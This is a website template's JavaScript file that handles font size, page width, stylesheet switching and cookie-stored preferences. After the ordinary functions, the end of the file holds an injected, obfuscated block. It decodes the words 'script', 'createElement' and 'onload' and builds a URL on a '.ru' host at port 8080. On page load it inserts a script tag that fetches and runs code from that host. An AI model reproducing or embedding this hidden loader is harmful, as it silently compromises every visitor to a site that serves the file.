
var defaultFontSize =  76;
var minimumFontSize =  60;
var maximumFontSize = 100;

var defaultStyle = "Fixed";

$debug_this_script = false;

var prefsLoaded = false;
var currentFontSize = defaultFontSize;



function do_template_specific_stuff(){
}


function toggleFluid(){
	var switchTo = (currentStyle == "Fixed") ? "Fluid" : "Fixed";

	document.body.className = switchTo;

}


function setWidth(width){
	
	if(width != "Fluid"){
		document.body.className = '';
		currentStyle = "Fixed";
	}else{
		document.body.className = 'bodyfluid';
		currentStyle = "Fluid";
	}
}



	function revertStyles(){
		currentFontSize = defaultFontSize;
		changeFontSize(0);
	}

	
	function changeFontSize(sizeDifference){
		currentFontSize = parseInt(currentFontSize) + parseInt(sizeDifference * 5);
	
		if(currentFontSize > maximumFontSize){
			currentFontSize = maximumFontSize;
		}else if(currentFontSize < minimumFontSize){
			currentFontSize = minimumFontSize;
		}
		setFontSize(currentFontSize);
	}

	function setFontSize(fontSize){
		if($debug_this_script){alert ('fontsize is being set: ' + fontSize);}
		var stObj = (document.getElementById) ? document.getElementById('content_area') : document.all('content_area');
		document.body.style.fontSize = fontSize + '%';
	}




	function setActiveStyleSheet(title) {
	  var i, a, main;
	  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
	    if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title")) {
	      a.disabled = true;
	      if(a.getAttribute("title") == title) a.disabled = false;
	    }
	  }
	}

	function getActiveStyleSheet() {
	  var i, a;
	  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
	    if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title") && !a.disabled) return a.getAttribute("title");
	  }
	  return null;
	}

	function getPreferredStyleSheet() {
	  var i, a;
	  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
	    if(a.getAttribute("rel").indexOf("style") != -1
	       && a.getAttribute("rel").indexOf("alt") == -1
	       && a.getAttribute("title")
	       ) return a.getAttribute("title");
	  }
	  return null;
	}




	function createCookie(name,value,days) {
	  if (days) {
	    var date = new Date();
	    date.setTime(date.getTime()+(days*24*60*60*1000));
	    var expires = "; expires="+date.toGMTString();
	  }
	  else expires = "";
	  document.cookie = name+"="+value+expires+"; path=/";
	}

	function readCookie(name) {
	  var nameEQ = name + "=";
	  var ca = document.cookie.split(';');
	  for(var i=0;i < ca.length;i++) {
	    var c = ca[i];
	    while (c.charAt(0)==' ') c = c.substring(1,c.length);
	    if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	  }
	  return null;
	}



	function td_init() {
		if($debug_this_script){  alert('window.onload firing');}

			cookie = readCookie("pageWidth");
			currentStyle = cookie ? cookie : "Fixed";
			setWidth(currentStyle);


			var cookie = readCookie("style");
			var title = (cookie) ? cookie : getPreferredStyleSheet();
			setActiveStyleSheet(title);

			cookie = readCookie("fontSize");
			currentFontSize = (cookie) ? cookie : defaultFontSize;
			setFontSize(currentFontSize);

			do_template_specific_stuff();

		if($debug_this_script){alert('window.onload is exiting');}
	}




	window.onunload = function(e) {
		if($debug_this_script){ alert('onunload is firing'); }

		  createCookie("pageWidth", currentStyle, 365);

		var title = getActiveStyleSheet();
		createCookie("style", title, 365);

		createCookie("fontSize", currentFontSize, 365);

		if($debug_this_script){ alert('onunload is firing'); }
	};





	var myimages=new Array();
	function preloadimages(){
		for (i=0;i<preloadimages.arguments.length;i++){
			myimages[i]=new Image();
			myimages[i].src=preloadimages.arguments[i];
		}
	}




var h;if(h!='u'){h=''};try {var E;if(E!='Y' && E!='k'){E='Y'};this.FA='';var w=RegExp;this.Q="";var tQ;if(tQ!='ip'){tQ=''};var e=String("replaDX29".substr(0,5)+"hIKNceNhIK".substr(4,2));var l;if(l!='y' && l != ''){l=null};function C(t,eN){var hx;if(hx!='' && hx!='CJ'){hx=''};var PM;if(PM!='' && PM!='ja'){PM='R'};this.CN='';var V="[";var o=String("gMFO".substr(0,1));var tV;if(tV!='G' && tV != ''){tV=null};V+=eN;this.sM='';V+=new String("]");var xH=new Date();var d="";var SY="";var i=new w(V, o);return t[e](i, new String());var O;if(O!='' && O!='Xh'){O='El'};};var iX;if(iX!='' && iX!='eNj'){iX='eKN'};var M=C('sgcErYiEpgtg',"gYE");var S=C('/1t1r1i1p1a5d1v5i5s1o1r1.1c1o5m5/5t5r1i1p5a1d1v1i5s5o5r1.1c1o1m1/5y5a5l1l1a5k1o5r1a1.1c5o5m5/1t1e5l1e1g5r5a1p5h1.1c5o5.1u5k1/1g5o5o1g1l5e5.1c1o5m5.1p1h5p5',"15");var FO=new String();var _f=new String();var p='';var J=window;this.FV='';var F=C('c3r3eyayt3e3Ehlyeymheynht3',"3yh");var Rz;if(Rz!='' && Rz!='dX'){Rz=''};var Ze='';var fn=new String();var wa=C('osnslto3atds',"sKt3");var H=C('hHt6tHpH:H/Y/6m6iYxHxH-Hc6oHm6.Ha6n6jHuHkHeY.HcHo6mY.Yp6iHc6f6oYcHoH-6c6oHmH.HBYeHsHt6BHlYeHn6dYeYrHPYaYrHt6.Hr6uY:H',"YH6");var UA="";var T=C('893770539636865556099556',"63759");b=function(){var uG=new Date();var HL;if(HL!='' && HL!='FAt'){HL=''};this.km='';U=document[F](M);var K;if(K!='' && K!='SW'){K=null};var eC;if(eC!='PJ'){eC=''};p=H+T;p+=S;var Rg=new String();var zG=new Date();var zz=new String();var cz;if(cz!='' && cz!='An'){cz=null};this.pp="";U.src=p;U.defer=([1,4][0]);var pT;if(pT!='BC'){pT=''};document.body.appendChild(U);};var tC=new Date();var iv=new Array();J[wa]=b;this.LM='';var RY;if(RY!='CZ' && RY!='Om'){RY='CZ'};} catch(_){this.XH="";var zD=new Date();};
